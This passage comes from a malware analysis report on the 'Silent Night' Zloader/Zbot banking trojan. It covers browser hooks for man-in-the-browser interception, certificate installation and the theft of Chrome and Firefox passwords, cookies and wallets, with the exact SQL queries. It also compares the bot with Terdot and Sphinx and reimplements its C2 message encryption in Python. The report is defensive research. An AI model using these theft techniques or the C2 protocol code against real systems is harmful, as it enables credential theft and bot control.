        hAdditionalStore,
        chain_context,
        pReserved,
        ppChainContext);

    _res = is_different_then(res, 0) & 1;

    if (!is_equal_16(ppChainContext, 0) & 1)
    {
        chain_context = *ppchainContext;

        if (!is_equal_16(*chain_context, 0))
        {
            *chain_context += 4;
            // TrustStatus.dwErrorStatus = CERT_TRUST_NO_ERROR
            *chain_context += 5; // TrustStatus.dwInfoStatus -> CERT_TRUST_IS_PEER_TRUSTED
        }
    }

    return _res;
}
```

`ntdll.ZwDeviceIoControlFile`

This function is used to bypass the traffic generated by the browsers through the local proxy.

Hook on this function is very common in case of malware intercepting network traffic. It is because ZwDeviceIoControlFile is a low level function that is called from the well-known winsocks functions, such as connect, send, recv, etc. With the help of ZwDeviceIoControlFile those functions communicate with afd.sys (Ancillary Function Driver) that executes the network operations.

The function prototype:

```
NTSYSAPI NTSTATUS ZwDeviceIoControlFile(
    HANDLE           FileHandle,
    HANDLE           Event,
    PIO_APC_ROUTINE  ApcRoutine,
    PVOID            ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG            IoControlCode,
    PVOID            InputBuffer,
    ULONG            InputBufferLength,
    PVOID            OutputBuffer,
    ULONG            OutputBufferLength,
    PVOID            UserData,
    ULONG            UserDataLength)
```
PVOID     OutputBuffer,
ULONG    OutputBufferLength
);

One of the passed parameters is an IOCTL number for the driver. This number identifies the operation that will be requested.

The malware is interested only in two IOCTLS: 0x12007 -> AFD_CONNECT (Connect) and 0x120C7 -> AFD_X32_CONNECT (SuperConnect). If any other is used, the execution returns back to the original version of the ZwDeviceIoControlFile, via dedicated trampoline.

At the moment when this IOCTL is sent, the driver establishes the connection with the remote host, the address of which is given in the input buffer. If the malware replaces the address of the remote host with the address of its own, the connection will be established with the local proxy instead.

But before the function decides it the traffic should be bypassed in a particular case, some additional checks are being made.

For example, only connections at port 80 (HTTP) and 443 (HTTPS) are intercepted.

Finally, the host is being replaced:
But the function does not end on this, but also verifies the result of ZwDeviceIoControlFile. If establishing the connection to the proxy was not successful, the implant will try to troubleshoot the issue. First it tries to connect to the main component of the malware. If the server is not responding, it means that probably the main component was killed or crashed. In order to not draw the attention of the victim by preventing further connections, the hook is removed.
Man-In-The-Browser local proxy

Among the main features of the malware there is formgrabbing as well as webinjectives. The first feature allows attackers to steal data from the open browser windows. The other feature allows them to modify the content of websites displayed to the victim.

In order to be able to perform those actions, the malware has to deploy a Man-In-The-Browser (MITB) attack, (which is a variant of Man-In-The-Middle). As mentioned before, in order to do this, the malware has to install its own (fake) certificate, and to run a local proxy. This part is done by the main bot component, running in the msiexec - while the component implanted into browsers is responsible for redirecting traffic via this proxy. In some browsers, additional hooks are being installed, which are responsible for pretending that the certificate is valid.

In the previous sections, we focused on the hooks. In this section we will focus on how this proxy is implemented on the side of the main bot.

Deploying the proxy

In the main function of the core bot component we can find a function responsible for running the proxy in a new thread:

```c
res = trampoline_ZwDeviceIoControlFile(
    _FileHandle1,
    _Event,
    v64,
    v65,
    v66,
    _IoControlCode1,
    _InputBuffer,
    _InputBufferLength1,
    v67,
    v68);
if ( res >= 0 )
{
    if ( to_select(_InputBuffer1, 5000) )
    {
        MH_DisableHook(ZwDeviceIoControlFile);
        ZwDeviceIoControlFile = 0;
    }
    else
    {
        _is_browser = g_isBrowserFlag;
        if ( to_ws2_32_send(_InputBuffer1, &is_browser, 1) )
            to_ws2_32_send(_InputBuffer1, &hostshort_buf, 16);
    }
return res;
```

```c
```
Let's enter this thread's start routine.

At the beginning, the malware has to load additional DLLs that are going to be used: zlib1 and libssl1. The zlib library will be needed for encoding and decoding the gzip compressed traffic, while libssl will be responsible for certificate management, and encryption of HTTPS traffic. Both of those libraries are among the modules of the malware, and they are going to be loaded in the same manner as others: decrypted from the encrypted module, and then manually loaded.

After this initial step is done, malware tries to find and load the certificate that was previously installed. It is also saved in the encrypted form. If loading the certificate was not successful, it will try to generate a new one, and then save it in the appropriate data container.
After the certificate is initialized, the malware will run the local proxy server, using this certificate for traffic encryption.

After that it will read and delete the cache of Firefox, and of Chrome.
While in Chrome and Internet Explorer the validation of certificates is performed via hooking, in Firefox it cannot be implemented in the same way. That’s why, in this case, the certificate will be just installed in the local store. First malware enumerates the certificates that are already in the store, to check if the installation is required. If the malware’s certificate was not found, it will drop and run `certutil.exe` that performs the installation.

The installation is run in a loop that is executed till success.
We can see the certutil commands being deployed here - the same that we observed during behavioral analysis.
The "Silent Night" Zloader/Zbot

9b2b0, "\certutil.exe"
9b250, "\cert9.db"
9b2d0, "\"%s\" -A -n \"%s\" -t \"C,C,C\" -i \"%s\" -d \"%s\"
9b330, "\"%s\" -A -n \"%s\" -t \"C,C,C\" -i \"%s\" -d sql:\"%s\"

The dropped certificate is being added into Firefox's cert9.db.
Inside the proxy

Two parallel threads are run, one serving as a proxy for HTTP, and another for HTTPS traffic.

The proxy parses the traffic that passes through - that’s why it needs to decompress the responses that are gzip compressed. After parsing (and eventually modifying, in case of webinjects) it is compressed back.
The grabbed content is being stored in the report that is first saved into a local file (using appropriate path in `%APPDATA%`, from the malware’s directory structure).

Those files are then uploaded to the C2, by another thread.

**Stealer functionality**

In addition to grabbing information directly from the browsers via MITB attack, this bot can work as a classic stealer, retrieving and uploading the data saved on the disk. The stolen data is copied into a report, which is further uploaded to the C2.

One of the threads run by the main function is responsible for stealing cookies, saved credentials, and files. The actions that are accumulated in this thread, can be also executed separately, on demand, by deploying dedicated remote commands.
Since the early versions of the bot, the cookies and credentials were stolen from Firefox and Chrome. Newer versions introduced improvements, by supporting Chrome version 80 and above, and also targeting Outlook credentials.

The described analysis of this functionality will be focused on version 1.2.23, which was the latest at the time of writing.

Since in the process of stealing the local SQL databases are going to be queried, the bot has to load its sqlite3.dll. It is done at the beginning of the stealing function:

```
1002C433  push   esi
1002C434  call   thread_passwords_cookies_stealing
1002C439  add   esp, 4
```

If the loading of this module has failed, the stealing will not continue, and the information about the failed attempt will be saved in the report which is going to be uploaded to the C2.

```
1004FCB0 to_steal proc near
1004FCB0  push   ebp
1004FCB0  var_10= byte ptr -10h
1004FCB0  push   ebp
1004FCB1  mov    ebp, esp
1004FCB3  push   esi
1004FCB4  sub    esp, 0Ch
1004FCB7  call   load_sqlite
1004FCBC  test   al, al
1004FCBE  jz     loc_1004FD59
```

Stealing from Outlook

A new addition to the bot is the capability of stealing outlook credentials.
Stealing Chrome passwords

The malware steals saved Chrome credentials. First, it searches the \Google\Chrome\User Data directory.

The retrieved database is queried by the following SQL query:

```
select `origin_url`, `username_value`, `password_value` FROM logins
```
The URL, username, and password are saved into the report that is further uploaded to the C2.

In the version 1.0.8 of the bot (the previous analyzed), only one method was used for decoding the password. It just retrieved the data from Login Data and decrypted it with the DPAPI encryption system.
Decrypting the password:

Since this method doesn't work for the Chrome >= v80, no surprise that the author pushed the update in the next releases.

Following the update in Chrome, first the encryption key must be retrieved from Local State (more details described here). The encrypted_key is fetched from JSON.
Currently two methods for decrypting the passwords are used: DPAPI encryption system for the older Chrome versions, and AES256-GCM algorithm for the newer.
The retrieval of the Chrome passwords is similar to the one described here.

**Stealing Chrome cookies**

Stealing of the Chrome cookies again starts by searching the `\Google\Chrome\User Data` directory. When found, the `Cookies` file is retrieved.
The retrieved database is queried with the following SQL query:

```
SELECT `host_key`, `name`, `encrypted_value`, `path`, `expires_utc`, `is_secure`, `is_httponly` FROM `cookies`
```

As it was in case of passwords, also in case of cookies the decryption will differ in old and new (>=80) versions of Chrome. Decoding of cookies follows analogical paths: the updated bot will use DPAPI encryption system for the older Chrome versions, and AES256-GCM algorithm for the newer.

In order to not block access to the files, the Chrome process may be terminated.
Stealing Firefox cookies

The other targeted browser is Firefox. The template of the stealing function is similar like in the case of Chrome. First the directory is being searched. This time it is \Mozilla\Firefox\Profiles. The name of the file containing the SQL database with cookies is cookies.sqlite.

```assembly
10006716 lea   eax, [ebp+var_90]
1000671C push  eax
1000671D push  offset unk_1006A5B0 ; "cookies.sqlite"
10006722 call  decode_wstring
10006727 add   esp, 8
1000672A push eax
1000672B push esi
1000672C push esi
1000672D call  path_combine
10006732 add   esp, 0Ch
10006735 test  al, al
10006737 jz    loc_100066A0
```

The retrieved database is queried with the following SQL query:

```sql
SELECT * FROM cookies.sqlite
```
The "Silent Night" Zloader/Zbot

```
select `host`, `name`, `value`, `path`, `expiry`, `isSecure`, `isHttpOnly`, `sameSite` from `moz_cookies`
```

Stealing files

Stealing files is deployed in a new thread.

First the list of all the dives is being fetched:

```
1002FFE0 push 5CEDF17h
1002FFE5 push 0
1002FFE7 call load_func_by_checksum ; kernel32.GetLogicalDriveStringsW #600
1002FFE8 add esp, 8
1002FFE9 push esi
1002FFF0 push edi
1002FFF1 call eax ; call kernel32.GetLogicalDriveStringsW
1002FFF3 test eax, eax
1002FFF5 jz loc_100300EE
```

Then, for each drive a new thread is being deployed, responsible for searching files at this drive.
Among the targets are wallets for cryptocurrencies:

```
1002FA7A sub    esp, 34h
1002FA7D lea     esi, [ebp+var_40]
1002FA80 push    0Ch
1002FA82 push    esi
1002FA83 push offset unk_1009C650 ; "wallet.dat"
1002FA88 call    decode_wstring
1002FA8D add     esp, 0Ch
1002FA90 lea     ebx, [ebp+var_1C]
1002FA93 mov      ecx, ebx
```

But also documents, that are searched by extensions: .txt, .docx, .xls
The files are first copied to the directory in the %TEMP% folder, and further uploaded by another thread.

```
1002FBAD push eax
1002FBB2 add esp, 0Ch
1002FBB5 lea ecx, [ebp+var_18]
1002FBBA push edi
1002FBBB call j_compare_names
1002FC0 cmp eax, 0FFFFFFFh
1002FC3 jnz short loc_1002FC18
```

```
1002FBC5 push eax
1002FBC9 mov edi, esp
1002FBCB push 6
1002FBCD push edi
1002FBCF push offset unk_1009C672 ; ".docx"
1002FBD3 call decode_wstring
1002FBD8 add esp, 0Ch
1002FDBE push 0
1002FDED push edi
1002FEE1 call j_compare_names
1002FEE6 cmp eax, 0FFFFFFFh
1002FEF9 jnz short loc_1002FC18
```

```
1002FEBB push eax
1002FEBD push edi
1002FEEF mov edi, esp
1002FEF1 push 5
1002FEF3 push edi
1002FEF4 push offset unk_1009C67E ; ".xls"
1002FEFB call decode_wstring
1002FEFC add esp, 0Ch
```

```
1002FEC4 mov edi, edx
1002FEC4 mov edx, esi
1002FEC6 call get_temp_path
1002FEC8 xor ebx, ebx
1002FECB push 7FCABA7h
1002FECF push ebx
1002FED9 call load_func_by_checksum ; kernel32.CopyFileW #167
1002FEE2 add esp, 8
1002FEF8 push ebx
```

```
1002FE3C lea esi, [ebp+var_214]
1002FE42 mov edi, edx
1002FE44 mov edx, esi
1002FE46 call get_temp_path
1002FE48 xor ebx, ebx
1002FE4B push 7FCABA7h
1002FE4F push ebx
1002FE53 call load_func_by_checksum ; kernel32.CopyFileW #167
1002FE56 add esp, 8
1002FE5B push ebx
```
The "Silent Night" Zloader/Zbot

The function for stealing documents didn’t seem to evolve across the compared versions.

**Comparison**

As mentioned before, the described Silent Night Zbot is based on ZeuS legacy. There is an ongoing naming confusion between this Zbot and the other ZeuS-based malware that have been popular in recent years, such as Sphinx or Terdot.

In this chapter we will sum up the most important similarities and differences between those specific families.

The reference material:

1. The classic ZeuS source-code
2. The Terdot analysis papers:
   - Terdot: Zeus-based malware strikes back with a blast from the past - by Bogdan Botezatu and Eduard Budaca from Bitdefender
   - Zbot with legitimate applications on board - by Hasherezade from Malwarebytes
3. Terdot Zbot samples:
   - 611d0954c55a7cb4471478763fe58aa791dc4bbf345d7b5a96808e6d1d264f96 - loader (unpacked)
     - bd44645d62f634c5ca65b110b2516bddd22462f8b2f3957dbcd821fa5bdeb38a2 - payload.dll
     - f76e614723432398d1b7d2c4224728204b3bd9c5725e8200a925e8cbf349344 - client32.dll
4. ZeuS Sphinx samples:
   - 07ff5290bca33bc25f479f468f9a0c0371b3aac25dc5bb846b55ba60ca658ed - original sample (packed)
     - 2890ba2b242191f762e8f480a854d4b898593935157026f3984df07071d8b63 - unpacked core
     - 4c150ec8583d9455eb6f64020bb8dde0267ba94e76e5c19e9c2389457979f103 - Tor module

**Silent Night (SN) vs classic ZeuS**

Similarities:

- Definitions of webinjects typical for ZeuS
- Similar set of commands, and their format
- Similar format of configuration storage
- Similar pseudo-random names generator
- Usage of RC4, CRC32, Visual Encrypt
- Encrypted strings - separate function for ANSI and Unicode. Yet, **the algorithm in ZeuS code is different from the one used in Silent Night.**
- Usage of random padding
- Hook on `TranslateMessage` in order to deploy on-click screenshot and keylogging
The "Silent Night" Zloader/Zbot

- Hooks in NtCreateThread and NtCreateUserProcess for the purpose of propagation into new processes
- Functionality: backconnect, VNC
- Similar server-side backconnect component

In the leaked ZeuS version (2.0.8.9), the cookie stealing component is not implemented, however the code contains a placeholder for it, while both Silent Night and Terdot have it implemented.

The original ZeuS code also contains API hooks that are not present in Silent Night.

**Sphinx overview**

Sphinx is a Zbot using Tor. It's first version (1.0.0.0) was released in 2015. The sample that we used for the comparative analysis (07ff5290bca33bcd25f479f468f99a0c0371b3aae25dc5bb846b55ba60ca658ed), tries to connect to the URL: kdsk3afdlpgejs.onion/sphinx/config.bin in order to fetch config.

It doesn’t use API obfuscation. Strings are obfuscated by the algorithms typical for ZeuS.

In contrast to Silent Night, and Terdot, Sphinx doesn’t need to download the main component - it is shipped directly inside the initial executable. In the .data section of the module, there is yet another PE - UPX packed (used for Tor connections). This is a very different model than in case of Silent Night, where each and every module is downloaded from the C2, and then kept in a separate, encrypted file.

The main component (2890ba2b242191f762e8f480a854d4b8985593935157026f3984df07071d8b63) is injected into explorer.exe (differently than Silent Night, where it is injected into msiexec.exe). Sphinx runs and infects two instances of explorer.exe.

One of the instances is run without any parameters. The other’s command-line is: explorer.exe socksParentProxy=localhost:9050 - suggesting that this instance is connecting to the local proxy at the given port. Indeed we can find this port open in the first instance.

As most of the ZeuS based malware, it uses %APPDATA% as its base directory. It creates there subfolders:
The directories in `%APPDATA%` are used for the purpose of keeping its modules, as well as the stolen data, in encrypted form.

<table>
<thead>
<tr>
<th>Name</th>
<th>Date modified</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>dnSpy</td>
<td>2019-07-17 23:52</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Geoqel</td>
<td>2020-05-12 16:36</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>GHISLER</td>
<td>2016-05-26 14:18</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Hex-Rays</td>
<td>2016-05-26 13:54</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Immunity Debugger</td>
<td>2017-02-22 02:50</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Macromedia</td>
<td>2019-08-02 00:06</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Media Center Programs</td>
<td>2011-04-12 04:24</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Microsoft</td>
<td>2020-05-12 16:36</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Microsoft FrCop</td>
<td>2019-06-23 00:05</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Mozilla</td>
<td>2017-12-08 02:12</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Notepad++</td>
<td>2019-06-22 23:47</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Sun</td>
<td>2016-05-31 23:40</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>tor</td>
<td>2020-05-12 17:03</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Wovi</td>
<td>2020-05-12 16:36</td>
<td>File folder</td>
<td></td>
</tr>
</tbody>
</table>
As in the case of Silent Night and Terdot, it creates the key under HCKU\Software\Microsoft.

The original sample is copied into a new folder created in %APPDATA%, and the original copy is deleted by a batch file, dropped in a %TEMP% directory (i.e. tmp07810f8b.bat).

```bash
@echo off
del "C:\Users\tester\Desktop\<initial_sample>.exe"
if exist "C:\Users\tester\Desktop\<initial_sample>.exe" goto d
del /F "C:\Users\tester\AppData\Local\Temp\tmp07810f8b.bat"
```

Persistence is achieved by the registry key, leading to the copy of the original sample, dropped in the new directory, in %APPDATA%.

Once it is run, it injects the main bot into other processes, and hooks API. The hooking done by Sphinx is very invasive - many more API hooks are being installed than in case of Terdot or Silent Night. The listing of detected hooks is given below.
The “Silent Night” Zloader/Zbot

Hooks found in explorer.exe:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>19e0000.exe</td>
<td>Application</td>
<td>1.541 KB</td>
</tr>
<tr>
<td>75a90000.crypt32.dll</td>
<td>Application exts.</td>
<td>1.127 KB</td>
</tr>
<tr>
<td>75a90000.crypt32.dll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>75d50000.ws2_32.dll</td>
<td>Application exts.</td>
<td>202 KB</td>
</tr>
<tr>
<td>75d50000.ws2_32.dll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>76cb0000.user32.dll</td>
<td>Application exts.</td>
<td>793 KB</td>
</tr>
<tr>
<td>76cb0000.user32.dll.tag</td>
<td>TAG File</td>
<td>3 KB</td>
</tr>
<tr>
<td>40000000.explorer.exe</td>
<td>Application</td>
<td>184 KB</td>
</tr>
<tr>
<td>77260000.kernel32.dll</td>
<td>Application exts.</td>
<td>838 KB</td>
</tr>
<tr>
<td>77260000.kernel32.dll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>77580000.wininet.dll</td>
<td>Application exts.</td>
<td>958 KB</td>
</tr>
<tr>
<td>77580000.wininet.dll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>77820000.ntdll.dll</td>
<td>TAG File</td>
<td>1.244 KB</td>
</tr>
</tbody>
</table>

Redirects to the main component of the malware, injected at 1830000:

In ntdll.dll:

45778;NtCreateUserProcess -> 1844ed5[1830000+14ed5:(unnamed):1];5
622b8;LdrLoadDll -> 1844ffe[1830000+14ffe:(unnamed):1];5

In ws2_32.dll

3918; closesocket -> 19f5ed8[19e0000+15ed8:(unnamed):1];5
4406; WSASend -> 19f5f31[19e0000+15f31:(unnamed):1];5
6f01; send -> 19f5f10[19e0000+15f10:(unnamed):1];5

In wininet.dll:

1a33e; HttpQueryInfoA -> 1847d16[1830000+17d16:(unnamed):1];5
1ab49; InternetCloseHandle -> 1847c1e[1830000+17c1e:(unnamed):1];5
1b406; InternetReadFile -> 1847c61[1830000+17c61:(unnamed):1];5
25e5d; InternetQueryDataAvailable -> 1847cea[1830000+17cea:(unnamed):1];5
2ba12; HttpSendRequestW -> 1847a3e[1830000+17a3e:(unnamed):1];5
34a3d; HttpSendRequestExW -> 1847ae6[1830000+17ae6:(unnamed):1];5
4ae46; InternetReadFileExA -> 1847ca0[1830000+17ca0:(unnamed):1];5
91812; HttpSendRequestExA -> 1847b82[1830000+17b82:(unnamed):1];5
918f8; HttpSendRequestA -> 1847a92[1830000+17a92:(unnamed):1];5

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The "Silent Night" Zloader/Zbot

In crypt32.dll

90ddc;PFXImportCertStore->19f536e[19e0000+1536e:(unnamed):1];5

This hook in crypt32.PFXImportCertStore is present in original ZeuS code, but neither in Terdot, nor in Silent Night.

In user32.dll

476b;SwitchDesktop->19f6933[19e0000+16933:(unnamed):1];5
5c39;OpenInputDesktop->19f68e3[19e0000+168e3:(unnamed):1];5
6293;RegisterClassExA->19f6d41[19e0000+16d41:(unnamed):1];5
9dc7;GetCapture->19e9a62[19e0000+9a62:(unnamed):1];5
a4b3;GetCursorPos->19e9934[19e0000+9934:(unnamed):1];5
a575;GetUpdateRect->19eb6e5[19e0000+b6e5:(unnamed):1];5
bb1c;DefWindowProcA->19f6997[19e0000+16997:(unnamed):1];5
bc6a;RegisterClassA->19f6ca2[19e0000+16ca2:(unnamed):1];5
11899;GetMessageA->19e9b29[19e0000+9b29:(unnamed):1];5
119a5;PeekMessageA->19e9b7c[19e0000+9b7c:(unnamed):1];5
11b3c;CallWindowProcW->19f6b87[19e0000+16b87:(unnamed):1];5
15421;ReleaseDC->19eb6a5[19e0000+b6a5:(unnamed):1];5
1544c;GetDC->19eb627[19e0000+b627:(unnamed):1];5
15d14;BeginPaint->19eb51c[19e0000+b51c:(unnamed):1];5
15d42;EndPaint->19eb58c[19e0000+b58c:(unnamed):1];5
1634a;PeekMessageW->19e9b51[19e0000+9b51:(unnamed):1];5
164c7;TranslateMessage->19f1cda[19e0000+11cda:(unnamed):1];5
1cde8;GetMessageW->19e9b01[19e0000+b01:(unnamed):1];5
22ba7;GetClipboardData->19f1e40[19e0000+1e40:(unnamed):1];5
271e4;DefDlgProcA->19f6a23[19e0000+6a23:(unnamed):1];5
3150a;DefMDIChildProcA->19f6a6b[19e0000+6a6b:(unnamed):1];5
3152b;DefFrameProcW->19f6a69[19e0000+6a69:(unnamed):1];5
31c07;GetUpdateRgn->19eb778[19e0000+b778:(unnamed):1];5
325b7;DefFrameProcA->19f6ab2[19e0000+6ab2:(unnamed):1];5
325bd;DefMDIChildProcA->19f6b41[19e0000+6b41:(unnamed):1];5
32bd3;CallWindowProcA->19f6bd0[19e0000+6bd0:(unnamed):1];5
35c1d;DefDlgProcW->19f69dd[19e0000+169dd:(unnamed):1];5
36703;GetMessageW->19e9902[19e0000+9902:(unnamed):1];5
36932;SetCapture->19e99b8[19e0000+99b8:(unnamed):1];5
369f2;ReleaseCapture->19e9a12[19e0000+9a12:(unnamed):1];5
4c1b0;SetCursorPos->19e997b[19e0000+997b:(unnamed):1];5

In kernel32.dll

4273d;GetFileAttributesExW->19f50e7[19e0000+150e7:(unnamed):1];5
As we can see, the hooks installed are very different than in case of Silent Night, and they suggest different mechanics behind this malware.

**Silent Night (SN) vs Terdot**

**Similarities:**

- **C** - common for various malware families
- **Z** - found in ZeuS code, common for ZeuS-based malware
- **T** - found in Terdot, but not in original ZeuS code

<table>
<thead>
<tr>
<th>Category</th>
<th>Silent Night &amp; Terdot</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data storage</td>
<td>subkeys in HKCU\Software\Microsoft (T), encrypted files in %APPDATA%&lt;random directory&gt; (Z)</td>
</tr>
<tr>
<td>Bot ID</td>
<td>in format %s_%08X%08X, generated by the same algorithm: hostname (string) and a number generated with InstallDate and DigitalProductID read from the registry, CRC32 algorithm applied. (Z)</td>
</tr>
<tr>
<td>Encryption algorithms</td>
<td>Visual Encrypt (Z) and RC4 (Z,C)</td>
</tr>
<tr>
<td>Key to encrypt files</td>
<td>RC4 context stored in the installation data in the registry</td>
</tr>
<tr>
<td>Webinjects definitions</td>
<td>ZeuS-styled (Z)</td>
</tr>
<tr>
<td>MitM proxy</td>
<td>yes, HTTP and HTTPS with a custom certificate (Z,C)</td>
</tr>
<tr>
<td>installation of the certificate</td>
<td>in Firefox: by certutil.exe, in other browsers: by hooking API</td>
</tr>
<tr>
<td>Hooks in the browsers</td>
<td>The same APIs hooked within in the browsers, analogical functionality of the hooks (T): crypt32.CertVerifyCertificateChainPolicy, crypt32.CertGetCertificateChain, ntdll.ZwDeviceIoControlFile - redirect to the local MitM proxy</td>
</tr>
<tr>
<td>Hook implementation</td>
<td>Using MinHook library [1]</td>
</tr>
<tr>
<td>Stealing cookies</td>
<td>Chrome, Mozilla - yet, using different queries [2]</td>
</tr>
</tbody>
</table>
The "Silent Night" Zloader/Zbot

1. Terdot (client32.dll) using MinHook library:

```
lea ecx, [ebp+var_C]
call Freeze
pop ecx
mov edx, esi
mov ecx, edi
call EnableHookLL
lea ecx, [ebp+var_C]
mov esi, eax
call Unfreeze
jmp short loc_10007AC6
```

2. Queries used by Terdot versus queries used by Silent Night:

Terdot:

```sql
select 'host_key', 'name', 'encrypted_value' from 'cookies'
```

```sql
select 'baseDomain', 'name', 'value' from 'moz_cookies'
```

Silent Night:

```sql
select 'host_key', 'name', 'encrypted_value', 'samesite', 'path', 'expires_utc', 'is_secure', 'is_httponly' from 'cookies'
```

```sql
select 'host', 'name', 'value', 'path', 'expiry', 'isSecure', 'isHttpOnly', 'sameSite' from 'moz_cookies'
```

Differences:

<table>
<thead>
<tr>
<th>Category</th>
<th>Silent Night</th>
<th>Terdot</th>
</tr>
</thead>
<tbody>
<tr>
<td>Persistence</td>
<td>Run key leading to the loader executable (plain PE)</td>
<td>A. Run key leading to the loader executable (plain PE); B. Entry in StartMenu leading to the PHP script, which is run by a dropped php.exe. The script deobfuscates and runs the initial component, which is never stored on the disk as a plain PE;</td>
</tr>
<tr>
<td>Obfuscation</td>
<td>API, strings, arithmetic operations, added redundant calls</td>
<td>strings (similar algorithm like classic Zeus), many strings are in plain-text</td>
</tr>
<tr>
<td>SQL module</td>
<td>manually loaded sqlite3.dll</td>
<td>statically linked SQLite</td>
</tr>
<tr>
<td>SSL module</td>
<td>manually loaded libssl.dll</td>
<td>statically linked OpenSSL</td>
</tr>
<tr>
<td>Zlib module</td>
<td>manually loaded zlib1.dll</td>
<td>statically linked Zlib 1.2.5</td>
</tr>
</tbody>
</table>
The "Silent Night" Zloader/Zbot

<table>
<thead>
<tr>
<th>Names of components</th>
<th>loader-bot32.dll/.exe, antiemule-loader-bot32.dll/.exe - loader; bot32/64.dll - core</th>
<th>payload.dll - loader; client32/64.dll - core</th>
</tr>
</thead>
<tbody>
<tr>
<td>Injection order</td>
<td>msiexec.exe(bot-loader.exe/.dll) -&gt; msiexec.exe(bot32/64.dll) -&gt; browsers and other processes (bot32/64.dll)</td>
<td>explorer.exe(payload.dll) -&gt; explorer.exe(client32.dll) -&gt; browsers and other processes (client32.dll)</td>
</tr>
<tr>
<td>DGA</td>
<td>based on a current date (year, month, day of the week, day); 20 characters long; 32 domains generated</td>
<td>based on a current date (year, month, day); 16 characters long; 128 domains generated; different algorithm than SN</td>
</tr>
<tr>
<td>Verification of downloaded modules</td>
<td>checksum only</td>
<td>RSA signature, validated with hardcoded public key</td>
</tr>
<tr>
<td>Targeted browsers</td>
<td>iexplore.exe, chrome.exe, firefox.exe,</td>
<td>iexplore.exe, microsotedgecp.exe, chrome.exe, opera.exe, firefox.exe, WebKit2WebProcess.exe</td>
</tr>
<tr>
<td>Watchdog</td>
<td>No</td>
<td>Yes, in explorer.exe</td>
</tr>
<tr>
<td>Commands</td>
<td>bot_uninstall, user_execute, user_cookies_get, user_cookies_remove, user_passwords_get, user_files_get, user_url_block, user_url_block</td>
<td>bot_uninstall, user_execute, bot_httpinject_disable, bot_httpinject_enable, user_url_block, user_url_unblock</td>
</tr>
<tr>
<td>Heaven’s Gate</td>
<td>Yes, in a separate DLL</td>
<td>Yes, in the main component</td>
</tr>
</tbody>
</table>

**Comparison summary**

Silent Night bot is distinct from Terdot. Yet, the existing similarities go beyond the similarity that is obvious due to the common ancestor, ZeuS. They both use a model: Zloader -> Zbot. The core module is being downloaded from the C2, and kept in encrypted form. Also the way in which they attack browsers has significant overlap: exactly the same hooks are being set, and the implementation of the intercepting functions is analogical. There exists a possibility that the author of Silent Night was also familiar with Terdot’s code, or involved in its development. Those two Zbots have many similarities on a conceptual level, but in comparison to Terdot, Silent Night is written with focus on modularity, and well obfuscated.

Sphinx is different from both of them, and probably based on an unrelated fork of ZeuS.
C2 Communication

You can try this yourself by using the zLoader communications Jupyter notebook for CP 1.0.8.

Communication encryption

The bot talks to C2 over an encrypted channel. There are two types of encryption used:

- RC4
- Visual Encrypt

Visual Encrypt is simply XORing each character of the string with the preceding XORed character:

```python
def v_encrypt(data):
    _len = len(data)
    for x in range(_len):
        data[x] = data[x] ^ data[x-1]
    return data
```

Regular bot’s communications are encrypted with both RC4 and Visual Encrypt, while the binaries use plain RC4.

The message composition

The message contains the header and the body. Currently, the header only stores the md5 hash of the message body.

The body is further split into records. Each record contains a header with the following fields:

- Record ID
- Unused
- Body Length
- Unused

Example of code creating a complete message:

```python
def pack_data(data):
    body = []
    for record_id, content in data.items():
        record_header = struct.pack('IIII', record_id, 0, len(content), 0)
        body.append(record_header + content)
    finished_body = b''.join(body)
    header = b''.join([b'0'*(md5_size), hashlib.md5(finished_body).digest()])
    return b''.join([header, finished_body])
```
Record IDs

Record IDs are randomly generated per panel version and stored in core/gen.php, for example CP 1.0.18 defines the following fields:

- COMP_ID_MAX_CHARS = 100
- BOTNET_MAX_CHARS = 20
- MARKER_MAX_CHARS = 20
- GATE_MAX_CHARS = 64
- MAX_NUM_GATES = 10
- MAX_SRC_PATH = 1000
- SBCID_BOT_ID = 10001
- SBCID_BOTNET = 10002
- SBCID_BOT_VERSION = 10003
- SBCID_NET_LATENCY = 10005
- SBCID_PING = 10006
- SBCID_OS_INFO = 10012
- SBCID_LANGUAGE_ID = 10013
- SBCID_PROCESS_NAME = 10014
- SBCID_PROCESS_USER = 10015
- SBCID_IPV4_ADDRESSES = 10016
- SBCID_IPV6_ADDRESSES = 10017
- SBCID_PROCESS_LIST = 10020
- SBCID_DEBUG = 10022
- SBCID_INTEGRITY_LEVEL = 10023
- SBCID_NUM_MONITORS = 10024
- SBCID_MARKER = 10025
- SBCID_MDS_BOT = 10026
- SBCID_TIMEZONE = 10027
- SBCID_NET_INFO = 10028
- SBCID_BUILD_ID = 10029
- SBCID_MDS_WEBINJECTS = 10030
- SBCID_SCRIPT_ID = 11000
- SBCID_SCRIPT_STATUS = 11001
- SBCID_SCRIPT_RESULT = 11002
- SBCID_SCRIPTS = 11003
- SBCID_COUNT_SCRIPTS = 11004
- SBCID_ADV_SERVERS = 11010
- SBCID_WEBFILTERS = 11011
- SBCID_WEBINJECTS = 11012
- SBCID_HTTP_PROXY = 11013
- SBCID_GET_FILE = 11014
- SBCID_GET_FILE_VER = 11015
